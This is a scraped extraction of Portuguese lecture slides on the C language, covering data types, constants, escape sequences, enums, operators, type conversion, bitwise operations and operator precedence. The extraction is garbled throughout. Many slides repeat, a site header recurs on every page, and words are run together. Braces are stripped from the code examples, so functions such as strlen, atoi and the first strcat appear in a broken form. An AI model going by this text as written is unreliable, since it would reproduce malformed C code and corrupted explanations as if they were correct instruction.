unsigned obedece aritmética módulo 2n, n=númerobits

signed char entre -128 e 127 (máquinacomplemento de 2)

tamanho char 1 byte

16 bits <= tamanho short

32 bits <= tamanho long

tamanho short <= tamanho int <= tamanho long

long double

AED 2003/2004 – p.82/554

Page 119: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos de dados

char, int, float, double

short int (short), long int (long)

signed/unsigned char, short, int, long

unsigned obedece aritmética módulo 2n, n=númerobits

signed char entre -128 e 127 (máquinacomplemento de 2)

tamanho char 1 byte

16 bits <= tamanho short

32 bits <= tamanho long

tamanho short <= tamanho int <= tamanho long

long double

AED 2003/2004 – p.82/554

Page 120: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos de dados

char, int, float, double

short int (short), long int (long)

signed/unsigned char, short, int, long

unsigned obedece aritmética módulo 2n, n=númerobits

signed char entre -128 e 127 (máquinacomplemento de 2)

tamanho char 1 byte

16 bits <= tamanho short

32 bits <= tamanho long

tamanho short <= tamanho int <= tamanho long

long double

AED 2003/2004 – p.82/554

Page 121: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos de dados

char, int, float, double

short int (short), long int (long)

signed/unsigned char, short, int, long

unsigned obedece aritmética módulo 2n, n=númerobits

signed char entre -128 e 127 (máquinacomplemento de 2)

tamanho char 1 byte

16 bits <= tamanho short

32 bits <= tamanho long

tamanho short <= tamanho int <= tamanho long

long double

AED 2003/2004 – p.82/554

Page 122: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos de dados

char, int, float, double

short int (short), long int (long)

signed/unsigned char, short, int, long

unsigned obedece aritmética módulo 2n, n=númerobits

signed char entre -128 e 127 (máquinacomplemento de 2)

tamanho char 1 byte

16 bits <= tamanho short

32 bits <= tamanho long

tamanho short <= tamanho int <= tamanho long

long double

AED 2003/2004 – p.82/554

Page 123: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Tipos de dados

char, int, float, double

short int (short), long int (long)

signed/unsigned char, short, int, long

unsigned obedece aritmética módulo 2n, n=númerobits

signed char entre -128 e 127 (máquinacomplemento de 2)

tamanho char 1 byte

16 bits <= tamanho short

32 bits <= tamanho long

tamanho short <= tamanho int <= tamanho long

long doubleAED 2003/2004 – p.82/554

Page 124: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

int: 1234

long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)

unsigned: 1234u ou 1234U

unsigned long: 1234ul ou 1234UL

long float: 100.0l ou 100.0L

Inteiros em notação octal: 037

Inteiros em notação hexadecimal: 0x1f ou 0X1F

Seguidos de L (long) ou de U. (unsigned)

AED 2003/2004 – p.83/554

Page 125: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

int: 1234

long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)

unsigned: 1234u ou 1234U

unsigned long: 1234ul ou 1234UL

long float: 100.0l ou 100.0L

Inteiros em notação octal: 037

Inteiros em notação hexadecimal: 0x1f ou 0X1F

Seguidos de L (long) ou de U. (unsigned)

AED 2003/2004 – p.83/554

Page 126: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

int: 1234

long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)

unsigned: 1234u ou 1234U

unsigned long: 1234ul ou 1234UL

long float: 100.0l ou 100.0L

Inteiros em notação octal: 037

Inteiros em notação hexadecimal: 0x1f ou 0X1F

Seguidos de L (long) ou de U. (unsigned)

AED 2003/2004 – p.83/554

Page 127: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

int: 1234

long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)

unsigned: 1234u ou 1234U

unsigned long: 1234ul ou 1234UL

long float: 100.0l ou 100.0L

Inteiros em notação octal: 037

Inteiros em notação hexadecimal: 0x1f ou 0X1F

Seguidos de L (long) ou de U. (unsigned)

AED 2003/2004 – p.83/554

Page 128: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

int: 1234

long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)

unsigned: 1234u ou 1234U

unsigned long: 1234ul ou 1234UL

long float: 100.0l ou 100.0L

Inteiros em notação octal: 037

Inteiros em notação hexadecimal: 0x1f ou 0X1F

Seguidos de L (long) ou de U. (unsigned)

AED 2003/2004 – p.83/554

Page 129: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

int: 1234

long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)

unsigned: 1234u ou 1234U

unsigned long: 1234ul ou 1234UL

long float: 100.0l ou 100.0L

Inteiros em notação octal: 037

Inteiros em notação hexadecimal: 0x1f ou 0X1F

Seguidos de L (long) ou de U. (unsigned)

AED 2003/2004 – p.83/554

Page 130: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

int: 1234

long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)

unsigned: 1234u ou 1234U

unsigned long: 1234ul ou 1234UL

long float: 100.0l ou 100.0L

Inteiros em notação octal: 037

Inteiros em notação hexadecimal: 0x1f ou 0X1F

Seguidos de L (long) ou de U. (unsigned)

AED 2003/2004 – p.83/554

Page 131: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

int: 1234

long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)

unsigned: 1234u ou 1234U

unsigned long: 1234ul ou 1234UL

long float: 100.0l ou 100.0L

Inteiros em notação octal: 037

Inteiros em notação hexadecimal: 0x1f ou 0X1F

Seguidos de L (long) ou de U. (unsigned)

AED 2003/2004 – p.83/554

Page 132: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

Valor de 0XFUL?

AED 2003/2004 – p.84/554

Page 133: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

int: 1234

long: 1234l ou 1234L ou 123456789012 (maior queo maior inteiro)

unsigned: 1234u ou 1234U

unsigned long: 1234ul ou 1234UL

long float: 100.0l ou 100.0L

Inteiros em notação octal: 037

Inteiros em notação hexadecimal: 0x1f ou 0X1F

Seguidos de L (long) ou de U (unsigned)

double: 100.0 ou 1.0e2

float: 100.0f ou 100.0F

AED 2003/2004 – p.85/554

Page 134: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

char são inteiros

’0’ representa 48 (entrada 48 tabela ASCII é ’0’)

Caracteres de escape: \000 e \xhh#define VTAB ’\013’ ou #define VTAB ’\xb’#define BELL ’\007’ ou #define BELL ’\x7’

Tabela de caracteres de escape\a alerta (bell) \b backspace

\c formfeed \n newline

\r carriage return \t tabulação horizontal

\v tabulação vertical \\ barra

\? ponto de interrogação \’ plica

\" aspas \000 número octal

\xhh número hexadecimal

AED 2003/2004 – p.86/554

Page 135: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

"Uma string"

"Outra " "string"

"" /* ainda outra string */

Representação interna da string "Ola": ’O’, ’l’,’a’, ’\0’

Diferença entre "x" e ’x’?

AED 2003/2004 – p.87/554

Page 136: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

/* strlen: retorna comprimento deuma string */

int strlen(char s[])

int i;

i = 0;while (s[i] != ’\0’)

++i;return i;

AED 2003/2004 – p.88/554

Page 137: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

Constantes de tipos enumerados

Tipo enumerado definido por sequência de constantes

enum boolean NAO, SIM

Tipo boolean tem duas constantes: NAO e SIM

Constantes de tipo enumerado têm valor inteiro:primeira constante vale 0, segunda vale 1, etc

Tipo boolean: NAO vale 0 e SIM vale 1

Pode-se especificar valores para as constantesenum escapes BELL = ’\a’, BACKSPACE = ’\b’, TAB = ’\t’,

NEWLINE = ’\n’, VTAB = ’\v’, RETURN = ’\r’;

AED 2003/2004 – p.89/554

Page 138: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

Constantes enumeradas definidas em sequência têmvalores seguidosenum meses JAN = 1, FEV, MAR,

ABR, MAI, JUN, JUL,

AGO, SET, OUT, NOV, DEZ

/* FEV vale 2, MAR vale 3, etc. */

Nomes constantes enumeradas distintos

Valores de constantes diferentes possivelmente iguais

AED 2003/2004 – p.90/554

Page 139: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Constantes

Associação de valores com constantes: constantesenumeradas face a #define

Geração automatizada de valores :)

Podem-se declarar variáveis :)

Compiladores podem não verificar valores guardados :(

Pode haver compiladores que verifiquem :)

Debuggers podem escrever valores naforma simbólica :)

AED 2003/2004 – p.91/554

Page 140: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Declarações

Declarações de variáveis

Declarações precedem utilização

Declaração especifica tipo e lista variáveis

int superior, inferior, passo;char c, linha[1000];

Alternativa:int superior;int inferior;int passo;char c;char linha[1000];

AED 2003/2004 – p.92/554

Page 141: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Declarações

Inicialização de variáveis externas e estáticas:<tipo> <variável> = < expressão constante >;

Caso de omissão: valor 0

Inicialização variáveis automáticas:<tipo> <variável> = < expressão >;

Caso de omissão: valor indefinido

AED 2003/2004 – p.93/554

Page 142: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Declarações

Declarações de constantes

const pode anteceder qualquer declaração

Significa que valor não vai mudar

Compilador pode tirar partido

const double e = 2.71828182845905;const char msg[] = "bem vindo ao C";int strlen(const char[]);

AED 2003/2004 – p.94/554

Page 143: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operadores aritméticos

+, -, *, / e %

Anos bissextos: divisíveis por 4 mas não divisíveis por100, excepto se divisíveis por 400. Exemplo:if ((ano % 4 == 0 && ano % 100 != 0) || ano % 400 == 0)

printf("%d e bissexto\n", ano);

else printf("%d nao e bissexto\n", ano);

Sinal em truncagem de valores negativos: não definido

Direcção da truncagem de valores negativos: nãodefinido

Situação de overflow e underflow: reacção nãodefinidas

AED 2003/2004 – p.95/554

Page 144: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operadores lógicos e relacionais

>, >=, <, e <= (precedências iguais)

== e != (precedências inferiores)

Operadores aritméticos têm precedência maior queoperadores relacionais

AED 2003/2004 – p.96/554

Page 145: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operadores lógicos e relacionais

i < lim-1 é (i < lim)-1 ou i < (lim-1)?

AED 2003/2004 – p.97/554

Page 146: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operadores lógicos e relacionais

>, >=, <, e <= (precedências iguais)

== e != (precedências inferiores)

Operadores aritméticos têm precedência maior queoperadores relacionais

i < lim-1 é (i < lim)-1 ou i < (lim-1)?

&& e || avaliam argumentos da esquerda para direita eparam quando argumentos são suficientes para definirvalorfor (i=0; i<lim-1 && (c=getchar()) != ’\n’ && c != EOF; ++i)

s[i]=c;

AED 2003/2004 – p.98/554

Page 147: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operadores lógicos e relacionais

Operadores relacionais têm precedência maior que &&,que por seu lado tem precedência maior que ||

Valor numérico de expressão lógica é 1 se expressão éverdadeira e 0 se falsa

Negação ! converte 0 em 1 e vice-versa

if (!valid) mais fácil de ler que if (valid == 0)

AED 2003/2004 – p.99/554

Page 148: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

Argumentos de operadores de diferentes tiposprovocam transformação de tipos dos argumentos

Algumas conversões automáticas: de representações“estreitas” para representações mais “largas” sem seperder informação.Ex: conversão de int para float em f + i

char é inteiro pequeno e podem-se fazer contas

AED 2003/2004 – p.100/554

Page 149: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

/* atoi: converte string num inteiro */int atoi(char s[])

int i,n;

n = 0;for (i=0; s[i]>=’0’ && s[i]<=’9’; ++i)

n = 10 * n + (s[i] - ’0’);return n;

AED 2003/2004 – p.101/554

Page 150: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

/* lower: converte caracter paraminusculas: so para ASCII */

int lower(int c)

if (c >= ’A’ && c <= ’Z’)return c + ’a’ - ’A’;

else return c;

AED 2003/2004 – p.102/554

Page 151: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

Tabela EBCDIC distância de maiúsculas e minúsculasvaria: não se pode usar return c + ’a’ - ’A’;

Biblioteca <ctype.h> define família de funçõesindependentes do conjunto de caracteres

tolower substitui lower; isdigit(c) substituic >= ’0’ && c <= ’9’; etc

AED 2003/2004 – p.103/554

Page 152: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

Conversão caracteres para inteiros: C não específicase inteiro representado por caracter tem de ser positivoou se pode ser negativo (só que caracter visível temque ser positivo)

Se todos caracteres são positivos, conversão é semprepositiva

Se puder ser negativo, transformação em int pode oumanter o sinal e acrescentar uns ou acrescentar zerosà esquerda

Problema: numas máquinas uma sequência de bitsrepresenta um número positivo e noutras um númeronegativo

AED 2003/2004 – p.104/554

Page 153: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

Este problema afecta valor de expressões emprogramas (p. ex. em d = c >= ’0’ && c <=’9’)?

Não, porque caracteres utilizados em programas sãovisíveis (neste caso, ’0’ e ’9’) e, portanto, positivos

Logo, são convertidos para inteiros positivos eproblema não se verifica

Para maximizar portabilidade, especificar se variáveischar que vão receber número arbitrário devem sersigned ou unsigned

AED 2003/2004 – p.105/554

Page 154: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

Quando operador binário (+, *, etc) tem operandos detipos diferentes, tipos dos operandos convertidos

Quando não há argumentos unsigned:Se algum dos operandos é long double, converteoutro para long double

Caso contrário, se um dos operandos é double,converte outro para double

Caso contrário, se um dos operandos é float,converte outro para float

Caso contrário, converte short para int e sealgum dos operandos for long, converte o outropara long

AED 2003/2004 – p.106/554

Page 155: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

Mudança ANSI-C: float não é convertido paradouble

Utilização de float: tabelas grandes ou máquinaspouco eficientes a tratar double

AED 2003/2004 – p.107/554

Page 156: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

Regras de conversão envolvendo unsigned maiscomplicadas

Comparações entre valores signed e unsigneddependentes da máquina

Exemplo em máquina com int com 16 bits e longcom 32 bits:-1L < 1U (inteiro 1U convertido em signed long)-1L > 1UL (-1L convertido em unsigned long numinteiro muito grande)

AED 2003/2004 – p.108/554

Page 157: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

Conversão de int para char: retirar caracteres deordem superior

Conversão de float para int: truncagem

Conversão de double para float: truncagem ouarredondamento

Nas chamadas a funções, há conversão de tipos

Se não houver protótipos, char convertido para int efloat convertido para double

AED 2003/2004 – p.109/554

Page 158: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

Conversão forçada de tipos: utilização de operador cast

(<nome tipo>) <expressão>

Valor <expressão> convertido para tipo (<nome tipo>)como se tratasse de atribuição

sqrt (declarada em <math.h>) espera argumentodouble

Se compilador não conhecer tipos de argumentos,sqrt(2) produz valor arbitrário e sqrt((double) 2)valor correcto

Se argumentos tiverem sido declarados num protótipodouble sqrt(double), sqrt(2) produz valorcorrecto

AED 2003/2004 – p.110/554

Page 159: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Conversão de tipos

unsigned long int next = 1;

/* rand: retorna inteiro pseudo-aleatorio */int rand(void)

next = next * 1103515245 + 12345;return (unsigned int)(next/65536) % 32768;

/* srand: modifica semente de rand() */void srand(unsigned int seed)

next = seed;

AED 2003/2004 – p.111/554

Page 160: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operador incrementar e decrementar

Operador incrementar variável (++) e decrementarvariável (--) e retorna valor variável

Operadores prefixos (++<var>, --<var>) primeiroincrementa/decrementa e depois retorna valores

Operadores posfixos (<var>++, <var>--) primeiroretorna valor e depois incrementa/decrementa

AED 2003/2004 – p.112/554

Page 161: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operador incrementar e decrementar

Se n é 5, qual é o valor de x depois de x=n++?

Se n é 5, qual é o valor de x depois de x=++n?

AED 2003/2004 – p.113/554

Page 162: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operador incrementar e decrementar

/* espreme: apaga ocorrencias de todosos c de s */

void espreme(char s[], int c)int i, j;

for (i = j = 0; s[i] != ’\0’; i++)if (s[i] != c)

s[j] = s[i];j++;

s[j]= ’\0’;

AED 2003/2004 – p.114/554

Page 163: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operador incrementar e decrementar

Pode ser melhorado!/* espreme: apaga ocorrencias de todos

os c de s */void espreme(char s[], int c)int i, j;

for (i = j = 0; s[i] != ’\0’; i++)if (s[i] != c)

s[j++] = s[i];s[j] = ’\0’;

AED 2003/2004 – p.115/554

Page 164: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operador incrementar e decrementar

/* strcat: concatena duas strings */

void strcat(char s[], char t[])

int i, j;

i = j = 0;

while (s[i] != ’\0’) /* encontra fim de s */

i++;

while ((s[i] = t[j]) != ’\0’)

i++;

j++;

AED 2003/2004 – p.116/554

Page 165: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operador incrementar e decrementar

Pode ser melhorado!

/* strcat: concatena duas strings */

void strcat(char s[], char t[])

int i, j;

i = j = 0;

while (s[i] != ’\0’) /* encontra fim de s */

i++;

while ((s[i++] = t[j++]) != ’\0’)

;

AED 2003/2004 – p.117/554

Page 166: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operações bit a bit

Manipular bits em inteiros (char, short, int, long):& AND bit a bit| OU bit a bitˆ OU exclusivo bit a bit<< shift left>> shift right˜ complemento de 1

Ex: n = n & 0177; Põe a zero todos os bits que nãoos 7 de ordem mais baixa

n = n | SET_ON; Põe a um os bits que estão a umem SET_ON

Se x = 1; y = 2;, valor de x & y? E x && y?

AED 2003/2004 – p.118/554

Page 167: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operações bit a bit

n = x ˆ y; Põe em n a um (zero) os bits que em x ey são diferentes (iguais)

x « 2 Desloca bits 2 posições esquerda. Espaçopreenchido com 0

x » 2 Desloca bits 2 posições direita. Espaçopreenchido com 0

Dependendo da máquina, right shift de valor com sinalpode preencher bits com bits de sinal (“shift aritmético”)ou com zeros (“shift lógico”)

AED 2003/2004 – p.119/554

Page 168: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Operações bit a bit

Exemplo: função getbits(x,p,n) retorna o campo den-bits de x, ajustado à direita, que começa na posição p(assumindo que bit mais à direita é o bit de posição 0)/* getbits: devolve n bits a partir da posicao p */

unsigned getbits(unsigned x, int p, int n)

return (x >> (p+1-n)) & ˜(˜0 << n);

AED 2003/2004 – p.120/554

Page 169: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Atribuições e expressões

i = i + 1; pode ser reescrito como i += 1;

+= é um operador atribuição

Outros operadores correspondentes a -, *, /, %, >>,<<, &, ˆ, |

<expr1> <op>=<expr2> equivale a<expr1> = (<expr1>) <op> (<expr2>)

AED 2003/2004 – p.121/554

Page 170: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Atribuições e expressões

x *= y + 1 equivale a x = x * y + 1 ou a

x = x * (y + 1)?

AED 2003/2004 – p.122/554

Page 171: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Atribuições e expressões

i = i + 1; pode ser reescrito como i += 1;

+= é um operador atribuição

Outros operadores correspondentes a -, *, /, %, >>,<<, &, ˆ, |

<expr1> <op>=<expr2> equivale a<expr1> = (<expr1>) <op> (<expr2>)

Vantagens operadores atribuição:mais próximo maneira de pensar de humanosEx: i += 2;

simplifica leitura de expressões complicadasEx: yyval[yypv[p3+p4] + yypv[p1+p2]] +=2;

AED 2003/2004 – p.123/554

Page 172: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Atribuições e expressões

/* contabits: conta bits a um em x */int contabits(unsigned x)

int b;

for (b = 0; x != 0; x >>= 1)if (x & 01)

b++;return b;

AED 2003/2004 – p.124/554

Page 173: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Expressões condicionais

Expressão condicional: expressão cujo valor dependede uma outra expressão

<expr1> ? <expr2> : <expr3>Se <expr1> for verdadeiro, valor da expressão é<expr2>Se <expr1> for falso, valor da expressão é <expr3>

Ex: z = (a > b) ? a : b; comparado comif (a > b)

z = a;else z = b;

AED 2003/2004 – p.125/554

Page 174: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Expressões condicionais

Expressão condicional utilizada onde expressão podeser utilizada

Gera código mais curto:printf("Tem %d objecto%s", n,

(n == 1)? "" : "s");

Se a ? b : c diferentes tipos, aplicam-se regrasde conversão de tipos

AED 2003/2004 – p.126/554

Page 175: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Expressões condicionais

Se n é int e f é float, tipo de (n > 0) ? f : n?

AED 2003/2004 – p.127/554

Page 176: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Precedência e ordem de Avaliação

Tabela de precedência de operações e de associatividade() [] -> . ED

! ˜ ++ -- + - * & (tipo) sizeof DE

* / % ED

+ - ED

<< >> ED

< <= > >= ED

== != ED

& ED

ˆ ED

| ED

&& ED

|| ED

AED 2003/2004 – p.128/554

Page 177: Acetatos de AED 2º Semestre 2005/2006 - Técnico Lisboa ... · Tabela de dispersão. AED 2003/2004 – p.9/554. Estruturas de dados ... /* Escreve tabela de convers˜ao Fahrenheit-Celsius

Precedência e ordem de Avaliação

Tabela de precedência de operações e de associatividade(cont.)?: DE

= += -= *= /= %= &= ˆ= |= <<= >>= DE

, ED

ED– associatividade esquerda-direita; DE– associatividadedireita-esquerda

